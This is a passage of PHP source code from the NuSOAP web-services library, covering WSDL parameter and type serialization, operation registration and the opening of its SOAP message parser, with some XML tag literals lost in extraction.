($opData['output']['encodingStyle'] != $encodingStyle)) { $encodingStyle = $opData['output']['encodingStyle']; $enc_style = $encodingStyle; } // set input params $xml = ''; if (isset($opData[$direction]['parts']) && sizeof($opData[$direction]['parts']) > 0) { $parts = &$opData[$direction]['parts']; $part_count = sizeof($parts); $style = $opData['style']; $use = $opData[$direction]['use']; $this->debug("have $part_count part(s) to serialize using $style/$use"); if (is_array($parameters)) { $parametersArrayType = $this->isArraySimpleOrStruct($parameters); $parameter_count = count($parameters); $this->debug("have $parameter_count parameter(s) provided as $parametersArrayType to serialize"); // check for Microsoft-style wrapped parameters if ($style == 'document' && $use == 'literal' && $part_count == 1 && isset($parts['parameters'])) { $this->debug('check whether the caller has wrapped the parameters'); if ($direction == 'output' && $parametersArrayType == 'arraySimple' && $parameter_count == 1) { // TODO: consider checking here for double-wrapping, when // service function wraps, then NuSOAP wraps again $this->debug("change simple array to associative with 'parameters' element"); $parameters['parameters'] = $parameters[0]; unset($parameters[0]); } if (($parametersArrayType == 'arrayStruct' || $parameter_count == 0) && !isset($parameters['parameters'])) { $this->debug('check whether caller\'s parameters match the wrapped ones'); if ($this->parametersMatchWrapped($parts['parameters'], $parameters)) { $this->debug('wrap the parameters for the caller'); $parameters = array('parameters' => $parameters); $parameter_count = 1; } } } foreach ($parts as $name => $type) { $this->debug("serializing part $name of type $type"); // Track encoding style if (isset($opData[$direction]['encodingStyle']) && $encodingStyle != $opData[$direction]['encodingStyle']) { $encodingStyle = $opData[$direction]['encodingStyle']; $enc_style = $encodingStyle; } else { $enc_style = false; } // NOTE: add error handling here // if serializeType returns false, then catch global error and fault if ($parametersArrayType == 'arraySimple') { $p = array_shift($parameters); $this->debug('calling serializeType w/indexed param'); $xml .= $this->serializeType($name, $type, $p, $use, $enc_style); } elseif (isset($parameters[$name])) { $this->debug('calling serializeType w/named param'); $xml .= $this->serializeType($name, $type, $parameters[$name], $use, $enc_style); } else { // TODO: only send nillable $this->debug('calling serializeType w/null param'); $xml .= $this->serializeType($name, $type, null, $use, $enc_style); } } } else { $this->debug('no parameters passed.'); } } $this->debug("serializeRPCParameters returning: $xml"); return $xml; } /** * serialize a PHP value according to a WSDL message definition * * TODO * - multi-ref serialization * - validate PHP values against type definitions, return errors if invalid * * @param string $operation operation name * @param string $direction (input|output) * @param mixed $parameters parameter value(s) * @return mixed parameters serialized as XML or false on error (e.g. operation not found) * @access public * @deprecated */ function serializeParameters($operation, $direction, $parameters) { $this->debug("in serializeParameters: operation=$operation, direction=$direction, XMLSchemaVersion=$this->XMLSchemaVersion"); $this->appendDebug('parameters=' . $this->varDump($parameters)); if ($direction != 'input' && $direction != 'output') { $this->debug('The value of the \$direction argument needs to be either "input" or "output"'); $this->setError('The value of the \$direction argument needs to be either "input" or "output"'); return false; } if (!$opData = $this->getOperationData($operation)) { $this->debug('Unable to retrieve WSDL data for operation: ' . $operation); $this->setError('Unable to retrieve WSDL data for operation: ' . $operation); return false; } $this->debug('opData:'); $this->appendDebug($this->varDump($opData)); // Get encoding style for output and set to current $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; if(($direction == 'input') && isset($opData['output']['encodingStyle']) && ($opData['output']['encodingStyle'] != $encodingStyle)) { $encodingStyle = $opData['output']['encodingStyle']; $enc_style = $encodingStyle; } // set input params $xml = ''; if (isset($opData[$direction]['parts']) && sizeof($opData[$direction]['parts']) > 0) { $use = $opData[$direction]['use']; $this->debug("use=$use"); $this->debug('got ' . count($opData[$direction]['parts']) . ' part(s)'); if (is_array($parameters)) { $parametersArrayType = $this->isArraySimpleOrStruct($parameters); $this->debug('have ' . $parametersArrayType . ' parameters'); foreach($opData[$direction]['parts'] as $name => $type) { $this->debug('serializing part "'.$name.'" of type "'.$type.'"'); // Track encoding style if(isset($opData[$direction]['encodingStyle']) && $encodingStyle != $opData[$direction]['encodingStyle']) { $encodingStyle = $opData[$direction]['encodingStyle']; $enc_style = $encodingStyle; } else { $enc_style = false; } // NOTE: add error handling here // if serializeType returns false, then catch global error and fault if ($parametersArrayType == 'arraySimple') { $p = array_shift($parameters); $this->debug('calling serializeType w/indexed param'); $xml .= $this->serializeType($name, $type, $p, $use, $enc_style); } elseif (isset($parameters[$name])) { $this->debug('calling serializeType w/named param'); $xml .= $this->serializeType($name, $type, $parameters[$name], $use, $enc_style); } else { // TODO: only send nillable $this->debug('calling serializeType w/null param'); $xml .= $this->serializeType($name, $type, null, $use, $enc_style); } } } else { $this->debug('no parameters passed.'); } } $this->debug("serializeParameters returning: $xml"); return $xml; } /** * serializes a PHP value according a given type definition * * @param string $name name of value (part or element) * @param string $type XML schema type of value (type or element) * @param mixed $value a native PHP value (parameter value) * @param string $use use for part (encoded|literal) * @param string $encodingStyle SOAP encoding style for the value (if different than the enclosing style) * @param boolean $unqualified a kludge for what should be XML namespace form handling * @return string value serialized as an XML string * @access private */ function serializeType($name, $type, $value, $use='encoded', $encodingStyle=false, $unqualified=false) { $this->debug("in serializeType: name=$name, type=$type, use=$use, encodingStyle=$encodingStyle, unqualified=" . ($unqualified ? "unqualified" : "qualified")); $this->appendDebug("value=" . $this->varDump($value)); if($use == 'encoded' && $encodingStyle) { $encodingStyle = ' SOAP-ENV:encodingStyle="' . $encodingStyle . '"'; } // if a soapval has been supplied, let its type override the WSDL if (is_object($value) && get_class($value) == 'soapval') { if ($value->type_ns) { $type = $value->type_ns . ':' . $value->type; $forceType = true; $this->debug("in serializeType: soapval overrides type to $type"); } elseif ($value->type) { $type = $value->type; $forceType = true; $this->debug("in serializeType: soapval overrides type to $type"); } else { $forceType = false; $this->debug("in serializeType: soapval does not override type"); } $attrs = $value->attributes; $value = $value->value; $this->debug("in serializeType: soapval overrides value to $value"); if ($attrs) { if (!is_array($value)) { $value['!'] = $value; } foreach ($attrs as $n => $v) { $value['!' . $n] = $v; } $this->debug("in serializeType: soapval provides attributes"); } } else { $forceType = false; } $xml = ''; if (strpos($type, ':')) { $uqType = substr($type, strrpos($type, ':') + 1); $ns = substr($type, 0, strrpos($type, ':')); $this->debug("in serializeType: got a prefixed type: $uqType, $ns"); if ($this->getNamespaceFromPrefix($ns)) { $ns = $this->getNamespaceFromPrefix($ns); $this->debug("in serializeType: expanded prefixed type: $uqType, $ns"); } if($ns == $this->XMLSchemaVersion || $ns == 'http://schemas.xmlsoap.org/soap/encoding/'){ $this->debug('in serializeType: type namespace indicates XML Schema or SOAP Encoding type'); if ($unqualified && $use == 'literal') { $elementNS = " xmlns=\"\""; } else { $elementNS = ''; } if (is_null($value)) { if ($use == 'literal') { // TODO: depends on minOccurs $xml = "<$name$elementNS/>"; } else { // TODO: depends on nillable, which should be checked before calling this method $xml = "<$name$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"/>"; } $this->debug("in serializeType: returning: $xml"); return $xml; } if ($uqType == 'Array') { // JBoss/Axis does this sometimes return $this->serialize_val($value, $name, false, false, false, false, $use); } if ($uqType == 'boolean') { if ((is_string($value) && $value == 'false') || (! $value)) { $value = 'false'; } else { $value = 'true'; } } if ($uqType == 'string' && gettype($value) == 'string') { $value = $this->expandEntities($value); } if (($uqType == 'long' || $uqType == 'unsignedLong') && gettype($value) == 'double') { $value = sprintf("%.0lf", $value); } // it's a scalar // TODO: what about null/nil values? // check type isn't a custom type extending xmlschema namespace if (!$this->getTypeDef($uqType, $ns)) { if ($use == 'literal') { if ($forceType) { $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">$value"; } else { $xml = "<$name$elementNS>$value"; } } else { $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>$value"; } $this->debug("in serializeType: returning: $xml"); return $xml; } $this->debug('custom type extends XML Schema or SOAP Encoding namespace (yuck)'); } else if ($ns == 'http://xml.apache.org/xml-soap') { $this->debug('in serializeType: appears to be Apache SOAP type'); if ($uqType == 'Map') { $tt_prefix = $this->getPrefixFromNamespace('http://xml.apache.org/xml-soap'); if (! $tt_prefix) { $this->debug('in serializeType: Add namespace for Apache SOAP type'); $tt_prefix = 'ns' . rand(1000, 9999); $this->namespaces[$tt_prefix] = 'http://xml.apache.org/xml-soap'; // force this to be added to usedNamespaces $tt_prefix = $this->getPrefixFromNamespace('http://xml.apache.org/xml-soap'); } $contents = ''; foreach($value as $k => $v) { $this->debug("serializing map element: key $k, value $v"); $contents .= ''; $contents .= $this->serialize_val($k,'key',false,false,false,false,$use); $contents .= $this->serialize_val($v,'value',false,false,false,false,$use); $contents .= ''; } if ($use == 'literal') { if ($forceType) { $xml = "<$name xsi:type=\"" . $tt_prefix . ":$uqType\">$contents"; } else { $xml = "<$name>$contents"; } } else { $xml = "<$name xsi:type=\"" . $tt_prefix . ":$uqType\"$encodingStyle>$contents"; } $this->debug("in serializeType: returning: $xml"); return $xml; } $this->debug('in serializeType: Apache SOAP type, but only support Map'); } } else { // TODO: should the type be compared to types in XSD, and the namespace // set to XSD if the type matches? $this->debug("in serializeType: No namespace for type $type"); $ns = ''; $uqType = $type; } if(!$typeDef = $this->getTypeDef($uqType, $ns)){ $this->setError("$type ($uqType) is not a supported type."); $this->debug("in serializeType: $type ($uqType) is not a supported type."); return false; } else { $this->debug("in serializeType: found typeDef"); $this->appendDebug('typeDef=' . $this->varDump($typeDef)); if (substr($uqType, -1) == '^') { $uqType = substr($uqType, 0, -1); } } if (!isset($typeDef['phpType'])) { $this->setError("$type ($uqType) has no phpType."); $this->debug("in serializeType: $type ($uqType) has no phpType."); return false; } $phpType = $typeDef['phpType']; $this->debug("in serializeType: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: " . (isset($typeDef['arrayType']) ? $typeDef['arrayType'] : '') ); // if php type == struct, map value to the element names if ($phpType == 'struct') { if (isset($typeDef['typeClass']) && $typeDef['typeClass'] == 'element') { $elementName = $uqType; if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { $elementNS = " xmlns=\"$ns\""; } else { $elementNS = " xmlns=\"\""; } } else { $elementName = $name; if ($unqualified) { $elementNS = " xmlns=\"\""; } else { $elementNS = ''; } } if (is_null($value)) { if ($use == 'literal') { // TODO: depends on minOccurs and nillable $xml = "<$elementName$elementNS/>"; } else { $xml = "<$elementName$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"/>"; } $this->debug("in serializeType: returning: $xml"); return $xml; } if (is_object($value)) { $value = get_object_vars($value); } if (is_array($value)) { $elementAttrs = $this->serializeComplexTypeAttributes($typeDef, $value, $ns, $uqType); if ($use == 'literal') { if ($forceType) { $xml = "<$elementName$elementNS$elementAttrs xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">"; } else { $xml = "<$elementName$elementNS$elementAttrs>"; } } else { $xml = "<$elementName$elementNS$elementAttrs xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>"; } if (isset($typeDef['simpleContent']) && $typeDef['simpleContent'] == 'true') { if (isset($value['!'])) { $xml .= $value['!']; $this->debug("in serializeType: serialized simpleContent for type $type"); } else { $this->debug("in serializeType: no simpleContent to serialize for type $type"); } } else { // complexContent $xml .= $this->serializeComplexTypeElements($typeDef, $value, $ns, $uqType, $use, $encodingStyle); } $xml .= ""; } else { $this->debug("in serializeType: phpType is struct, but value is not an array"); $this->setError("phpType is struct, but value is not an array: see debug output for details"); $xml = ''; } } elseif ($phpType == 'array') { if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { $elementNS = " xmlns=\"$ns\""; } else { if ($unqualified) { $elementNS = " xmlns=\"\""; } else { $elementNS = ''; } } if (is_null($value)) { if ($use == 'literal') { // TODO: depends on minOccurs $xml = "<$name$elementNS/>"; } else { $xml = "<$name$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') . ":Array\" " . $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') . ':arrayType="' . $this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType'])) . ':' . $this->getLocalPart($typeDef['arrayType'])."[0]\"/>"; } $this->debug("in serializeType: returning: $xml"); return $xml; } if (isset($typeDef['multidimensional'])) { $nv = array(); foreach($value as $v) { $cols = ',' . sizeof($v); $nv = array_merge($nv, $v); } $value = $nv; } else { $cols = ''; } if (is_array($value) && sizeof($value) >= 1) { $rows = sizeof($value); $contents = ''; foreach($value as $k => $v) { $this->debug("serializing array element: $k, $v of type: $typeDef[arrayType]"); //if (strpos($typeDef['arrayType'], ':') ) { if (!in_array($typeDef['arrayType'],$this->typemap['http://www.w3.org/2001/XMLSchema'])) { $contents .= $this->serializeType('item', $typeDef['arrayType'], $v, $use); } else { $contents .= $this->serialize_val($v, 'item', $typeDef['arrayType'], null, $this->XMLSchemaVersion, false, $use); } } } else { $rows = 0; $contents = null; } // TODO: for now, an empty value will be serialized as a zero element // array. Revisit this when coding the handling of null/nil values. if ($use == 'literal') { $xml = "<$name$elementNS>" .$contents .""; } else { $xml = "<$name$elementNS xsi:type=\"".$this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/').':Array" '. $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') .':arrayType="' .$this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType'])) .":".$this->getLocalPart($typeDef['arrayType'])."[$rows$cols]\">" .$contents .""; } } elseif ($phpType == 'scalar') { if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { $elementNS = " xmlns=\"$ns\""; } else { if ($unqualified) { $elementNS = " xmlns=\"\""; } else { $elementNS = ''; } } if ($use == 'literal') { if ($forceType) { $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">$value"; } else { $xml = "<$name$elementNS>$value"; } } else { $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>$value"; } } $this->debug("in serializeType: returning: $xml"); return $xml; } /** * serializes the attributes for a complexType * * @param array $typeDef our internal representation of an XML schema type (or element) * @param mixed $value a native PHP value (parameter value) * @param string $ns the namespace of the type * @param string $uqType the local part of the type * @return string value serialized as an XML string * @access private */ function serializeComplexTypeAttributes($typeDef, $value, $ns, $uqType) { $this->debug("serializeComplexTypeAttributes for XML Schema type $ns:$uqType"); $xml = ''; if (isset($typeDef['extensionBase'])) { $nsx = $this->getPrefix($typeDef['extensionBase']); $uqTypex = $this->getLocalPart($typeDef['extensionBase']); if ($this->getNamespaceFromPrefix($nsx)) { $nsx = $this->getNamespaceFromPrefix($nsx); } if ($typeDefx = $this->getTypeDef($uqTypex, $nsx)) { $this->debug("serialize attributes for extension base $nsx:$uqTypex"); $xml .= $this->serializeComplexTypeAttributes($typeDefx, $value, $nsx, $uqTypex); } else { $this->debug("extension base $nsx:$uqTypex is not a supported type"); } } if (isset($typeDef['attrs']) && is_array($typeDef['attrs'])) { $this->debug("serialize attributes for XML Schema type $ns:$uqType"); if (is_array($value)) { $xvalue = $value; } elseif (is_object($value)) { $xvalue = get_object_vars($value); } else { $this->debug("value is neither an array nor an object for XML Schema type $ns:$uqType"); $xvalue = array(); } foreach ($typeDef['attrs'] as $aName => $attrs) { if (isset($xvalue['!' . $aName])) { $xname = '!' . $aName; $this->debug("value provided for attribute $aName with key $xname"); } elseif (isset($xvalue[$aName])) { $xname = $aName; $this->debug("value provided for attribute $aName with key $xname"); } elseif (isset($attrs['default'])) { $xname = '!' . $aName; $xvalue[$xname] = $attrs['default']; $this->debug('use default value of ' . $xvalue[$aName] . ' for attribute ' . $aName); } else { $xname = ''; $this->debug("no value provided for attribute $aName"); } if ($xname) { $xml .= " $aName=\"" . $this->expandEntities($xvalue[$xname]) . "\""; } } } else { $this->debug("no attributes to serialize for XML Schema type $ns:$uqType"); } return $xml; } /** * serializes the elements for a complexType * * @param array $typeDef our internal representation of an XML schema type (or element) * @param mixed $value a native PHP value (parameter value) * @param string $ns the namespace of the type * @param string $uqType the local part of the type * @param string $use use for part (encoded|literal) * @param string $encodingStyle SOAP encoding style for the value (if different than the enclosing style) * @return string value serialized as an XML string * @access private */ function serializeComplexTypeElements($typeDef, $value, $ns, $uqType, $use='encoded', $encodingStyle=false) { $this->debug("in serializeComplexTypeElements for XML Schema type $ns:$uqType"); $xml = ''; if (isset($typeDef['extensionBase'])) { $nsx = $this->getPrefix($typeDef['extensionBase']); $uqTypex = $this->getLocalPart($typeDef['extensionBase']); if ($this->getNamespaceFromPrefix($nsx)) { $nsx = $this->getNamespaceFromPrefix($nsx); } if ($typeDefx = $this->getTypeDef($uqTypex, $nsx)) { $this->debug("serialize elements for extension base $nsx:$uqTypex"); $xml .= $this->serializeComplexTypeElements($typeDefx, $value, $nsx, $uqTypex, $use, $encodingStyle); } else { $this->debug("extension base $nsx:$uqTypex is not a supported type"); } } if (isset($typeDef['elements']) && is_array($typeDef['elements'])) { $this->debug("in serializeComplexTypeElements, serialize elements for XML Schema type $ns:$uqType"); if (is_array($value)) { $xvalue = $value; } elseif (is_object($value)) { $xvalue = get_object_vars($value); } else { $this->debug("value is neither an array nor an object for XML Schema type $ns:$uqType"); $xvalue = array(); } // toggle whether all elements are present - ideally should validate against schema if (count($typeDef['elements']) != count($xvalue)){ $optionals = true; } foreach ($typeDef['elements'] as $eName => $attrs) { if (!isset($xvalue[$eName])) { if (isset($attrs['default'])) { $xvalue[$eName] = $attrs['default']; $this->debug('use default value of ' . $xvalue[$eName] . ' for element ' . $eName); } } // if user took advantage of a minOccurs=0, then only serialize named parameters if (isset($optionals) && (!isset($xvalue[$eName])) && ( (!isset($attrs['nillable'])) || $attrs['nillable'] != 'true') ){ if (isset($attrs['minOccurs']) && $attrs['minOccurs'] <> '0') { $this->debug("apparent error: no value provided for element $eName with minOccurs=" . $attrs['minOccurs']); } // do nothing $this->debug("no value provided for complexType element $eName and element is not nillable, so serialize nothing"); } else { // get value if (isset($xvalue[$eName])) { $v = $xvalue[$eName]; } else { $v = null; } if (isset($attrs['form'])) { $unqualified = ($attrs['form'] == 'unqualified'); } else { $unqualified = false; } if (isset($attrs['maxOccurs']) && ($attrs['maxOccurs'] == 'unbounded' || $attrs['maxOccurs'] > 1) && isset($v) && is_array($v) && $this->isArraySimpleOrStruct($v) == 'arraySimple') { $vv = $v; foreach ($vv as $k => $v) { if (isset($attrs['type']) || isset($attrs['ref'])) { // serialize schema-defined type $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); } else { // serialize generic type (can this ever really happen?) $this->debug("calling serialize_val() for $v, $eName, false, false, false, false, $use"); $xml .= $this->serialize_val($v, $eName, false, false, false, false, $use); } } } else { if (is_null($v) && isset($attrs['minOccurs']) && $attrs['minOccurs'] == '0') { // do nothing } elseif (is_null($v) && isset($attrs['nillable']) && $attrs['nillable'] == 'true') { // TODO: serialize a nil correctly, but for now serialize schema-defined type $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); } elseif (isset($attrs['type']) || isset($attrs['ref'])) { // serialize schema-defined type $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); } else { // serialize generic type (can this ever really happen?) $this->debug("calling serialize_val() for $v, $eName, false, false, false, false, $use"); $xml .= $this->serialize_val($v, $eName, false, false, false, false, $use); } } } } } else { $this->debug("no elements to serialize for XML Schema type $ns:$uqType"); } return $xml; } /** * adds an XML Schema complex type to the WSDL types * * @param string $name * @param string $typeClass (complexType|simpleType|attribute) * @param string $phpType currently supported are array and struct (php assoc array) * @param string $compositor (all|sequence|choice) * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) * @param array $elements e.g. array ( name => array(name=>'',type=>'') ) * @param array $attrs e.g. array(array('ref'=>'SOAP-ENC:arrayType','wsdl:arrayType'=>'xsd:string[]')) * @param string $arrayType as namespace:name (xsd:string) * @see nusoap_xmlschema * @access public */ function addComplexType($name,$typeClass='complexType',$phpType='array',$compositor='',$restrictionBase='',$elements=array(),$attrs=array(),$arrayType='') { if (count($elements) > 0) { $eElements = array(); foreach($elements as $n => $e){ // expand each element $ee = array(); foreach ($e as $k => $v) { $k = strpos($k,':') ? $this->expandQname($k) : $k; $v = strpos($v,':') ? $this->expandQname($v) : $v; $ee[$k] = $v; } $eElements[$n] = $ee; } $elements = $eElements; } if (count($attrs) > 0) { foreach($attrs as $n => $a){ // expand each attribute foreach ($a as $k => $v) { $k = strpos($k,':') ? $this->expandQname($k) : $k; $v = strpos($v,':') ? $this->expandQname($v) : $v; $aa[$k] = $v; } $eAttrs[$n] = $aa; } $attrs = $eAttrs; } $restrictionBase = strpos($restrictionBase,':') ? $this->expandQname($restrictionBase) : $restrictionBase; $arrayType = strpos($arrayType,':') ? $this->expandQname($arrayType) : $arrayType; $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; $this->schemas[$typens][0]->addComplexType($name,$typeClass,$phpType,$compositor,$restrictionBase,$elements,$attrs,$arrayType); } /** * adds an XML Schema simple type to the WSDL types * * @param string $name * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) * @param string $typeClass (should always be simpleType) * @param string $phpType (should always be scalar) * @param array $enumeration array of values * @see nusoap_xmlschema * @access public */ function addSimpleType($name, $restrictionBase='', $typeClass='simpleType', $phpType='scalar', $enumeration=array()) { $restrictionBase = strpos($restrictionBase,':') ? $this->expandQname($restrictionBase) : $restrictionBase; $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; $this->schemas[$typens][0]->addSimpleType($name, $restrictionBase, $typeClass, $phpType, $enumeration); } /** * adds an element to the WSDL types * * @param array $attrs attributes that must include name and type * @see nusoap_xmlschema * @access public */ function addElement($attrs) { $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; $this->schemas[$typens][0]->addElement($attrs); } /** * register an operation with the server * * @param string $name operation (method) name * @param array $in assoc array of input values: key = param name, value = param type * @param array $out assoc array of output values: key = param name, value = param type * @param string $namespace optional The namespace for the operation * @param string $soapaction optional The soapaction for the operation * @param string $style (rpc|document) optional The style for the operation Note: when 'document' is specified, parameter and return wrappers are created for you automatically * @param string $use (encoded|literal) optional The use for the parameters (cannot mix right now) * @param string $documentation optional The description to include in the WSDL * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) * @access public */ function addOperation($name, $in = false, $out = false, $namespace = false, $soapaction = false, $style = 'rpc', $use = 'encoded', $documentation = '', $encodingStyle = ''){ if ($use == 'encoded' && $encodingStyle == '') { $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; } if ($style == 'document') { $elements = array(); foreach ($in as $n => $t) { $elements[$n] = array('name' => $n, 'type' => $t, 'form' => 'unqualified'); } $this->addComplexType($name . 'RequestType', 'complexType', 'struct', 'all', '', $elements); $this->addElement(array('name' => $name, 'type' => $name . 'RequestType')); $in = array('parameters' => 'tns:' . $name . '^'); $elements = array(); foreach ($out as $n => $t) { $elements[$n] = array('name' => $n, 'type' => $t, 'form' => 'unqualified'); } $this->addComplexType($name . 'ResponseType', 'complexType', 'struct', 'all', '', $elements); $this->addElement(array('name' => $name . 'Response', 'type' => $name . 'ResponseType', 'form' => 'qualified')); $out = array('parameters' => 'tns:' . $name . 'Response' . '^'); } // get binding $this->bindings[ $this->serviceName . 'Binding' ]['operations'][$name] = array( 'name' => $name, 'binding' => $this->serviceName . 'Binding', 'endpoint' => $this->endpoint, 'soapAction' => $soapaction, 'style' => $style, 'input' => array( 'use' => $use, 'namespace' => $namespace, 'encodingStyle' => $encodingStyle, 'message' => $name . 'Request', 'parts' => $in), 'output' => array( 'use' => $use, 'namespace' => $namespace, 'encodingStyle' => $encodingStyle, 'message' => $name . 'Response', 'parts' => $out), 'namespace' => $namespace, 'transport' => 'http://schemas.xmlsoap.org/soap/http', 'documentation' => $documentation); // add portTypes // add messages if($in) { foreach($in as $pName => $pType) { if(strpos($pType,':')) { $pType = $this->getNamespaceFromPrefix($this->getPrefix($pType)).":".$this->getLocalPart($pType); } $this->messages[$name.'Request'][$pName] = $pType; } } else { $this->messages[$name.'Request']= '0'; } if($out) { foreach($out as $pName => $pType) { if(strpos($pType,':')) { $pType = $this->getNamespaceFromPrefix($this->getPrefix($pType)).":".$this->getLocalPart($pType); } $this->messages[$name.'Response'][$pName] = $pType; } } else { $this->messages[$name.'Response']= '0'; } return true; } } ?> * @author Scott Nichol * @version $Id: nusoap.php,v 1.123 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_parser extends nusoap_base { var $xml = ''; var $xml_encoding = ''; var $method = ''; var $root_struct = ''; var $root_struct_name = ''; var $root_struct_namespace = ''; var $root_header = ''; var $document = ''; // incoming SOAP body (text) // determines where in the message we are (envelope,header,body,method) var $status = ''; var $position = 0; var $depth = 0; var $default_namespace = ''; var $namespaces = array(); var $message = array(); var $parent = ''; var $fault = false; var $fault_code = ''; var $fault_str = ''; var $fault_detail = ''; var $depth_array = array(); var $debug_flag = true; var $soapresponse = NULL; // parsed SOAP Body var $soapheader = NULL; // parsed SOAP Header var $responseHeaders = ''; // incoming SOAP headers (text) var $body_position = 0; // for multiref parsing: // array of id => pos var $ids = array(); // array of id => hrefs => pos var $multirefs = array(); // toggle for auto-decoding element content var $decode_utf8 = true; /** * constructor that actually does the parsing * * @param string $xml SOAP message * @param string $encoding character encoding scheme of message * @param string $method method for which XML is parsed (unused?) * @param string $decode_utf8 whether to decode UTF-8 to ISO-8859-1 * @access public */ function nusoap_parser($xml,$encoding='UTF-8',$method='',$decode_utf8=true){ parent::nusoap_base(); $this->xml = $xml; $this->xml_encoding = $encoding; $this->method = $method; $this->decode_utf8 = $decode_utf8; // Check whether content has been read. if(!empty($xml)){ // Check XML encoding $pos_xml = strpos($xml, '', $pos_xml + 2) - $pos_xml + 1); if (preg_match("/encoding=[\"']([^\"']*)[\"']/", $xml_decl, $res)) { $xml_encoding = $res[1]; if (strtoupper($xml_encoding) != $encoding) { $err = "Charset from HTTP Content-Type '" . $encoding . "' does not match encoding from XML declaration '" . $xml_encoding . "'"; $this->debug($err); if ($encoding != 'ISO-8859-1' || strtoupper($xml_encoding) != 'UTF-8') { $this->setError($err); return; } // when HTTP says ISO-8859-1 (the default) and XML says UTF-8 (the typical), assume the other endpoint is just sloppy and proceed } else { $this->debug('Charset from HTTP Content-Type matches encoding from XML declaration'); } } else { $this->debug('No encoding specified in XML declaration'); } } else { $this->debug('No XML declaration'); } $this->debug('Entering nusoap_parser(), length='.strlen($xml).', encoding='.$encoding); // Create an XML parser - why not xml_parser_create_ns? $this->parser = xml_parser_create($this->xml_encoding); // Set the options for parsing the XML data. //xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, $this->xml_encoding); // Set the object for the parser. xml_set_object($this->parser, $this); // Set the element handlers for the parser. xml_set_element_handler($this->parser, 'start_element','end_element'); xml_set_character_data_handler($this->parser,'character_data'); // Parse the XML file. if(!xml_parse($this->parser,$xml,true)){ // Display an error message. $err = sprintf('XML error parsing SOAP payload on line %d: %s', xml_get_current_line_number($this->parser), xml_error_string(xml_get_error_code($this->parser))); $this->debug($err); $this->debug("XML payload:\n" . $xml); $this->setError($err); } else { $this->debug('in nusoap_parser ctor, message:'); $this->appendDebug($this->varDump($this->message)); $this->debug('parsed successfully, found root struct: '.$this->root_struct.' of name '.$this->root_struct_name); // get final value $this->soapresponse = $this->message[$this->root_struct]['result']; // get header value if($this->root_header != '' && isset($this->message[$this->root_header]['result'])){ $this->soapheader = $this->message[$this->root_header]['result']; } // resolve hrefs/ids if(sizeof($this->multirefs) > 0){ foreach($this->multirefs as $id => $hrefs){ $this->debug('resolving multirefs for id: '.$id); $idVal = $this->buildVal($this->ids[$id]); if (is_array($idVal) && isset($idVal['!id'])) { unset($idVal['!id']); } foreach($hrefs as $refPos => $ref){ $this->debug('resolving href at pos '.$refPos); $this->multirefs[$id][$refPos] = $idVal; } } } } xml_parser_free($this->parser); } else { $this->debug('xml was empty, didn\'t parse!'); $this->setError('xml was empty, didn\'t parse!'); } } /** * start-element handler * * @param resource $parser XML parser object * @param string $name element name * @param array $attrs associative array of attributes * @access private */ function start_element($parser, $name, $attrs) { // position in a total number of elements, starting from 0 // update class level pos $pos = $this->position++; // and set mine $this->message[$pos] = array('pos' => $pos,'children'=>'','cdata'=>''); // depth = how many levels removed from root? // set mine as current global depth and increment global depth value $this->message[$pos]['depth'] = $this->depth++; // else add self as child to whoever the current parent is if($pos != 0){ $this->message[$this->parent]['children'] .= '|'.$pos; } // set my parent $this->message[$pos]['parent'] = $this->parent; // set self as current parent $this->parent = $pos; // set self as current value for this depth $this->depth_array[$this->depth] = $pos; // get element prefix if(strpos($name,':')){ // get ns prefix $prefix = substr($name,0,strpos($name,':')); // get unqualified name $name = substr(strstr($name,':'),1); } // set status if ($name == 'Envelope' && $this->status == '') { $this->status = 'envelope'; } elseif ($name == 'Header' && $this->status == 'envelope') { $this->root_header = $pos; $this->status = 'header'; } elseif ($name == 'Body' && $this->status == 'envelope'){ $this->status = 'body'; $this->body_position = $pos; // set method } elseif($this->status == 'body' && $pos == ($this->body_position+1)) { $this->status = 'method'; $this->root_struct_name = $name; $this->root_struct = $pos; $this->message[$pos]['type'] = 'struct'; $this->debug("found root struct $this->root_struct_name, pos 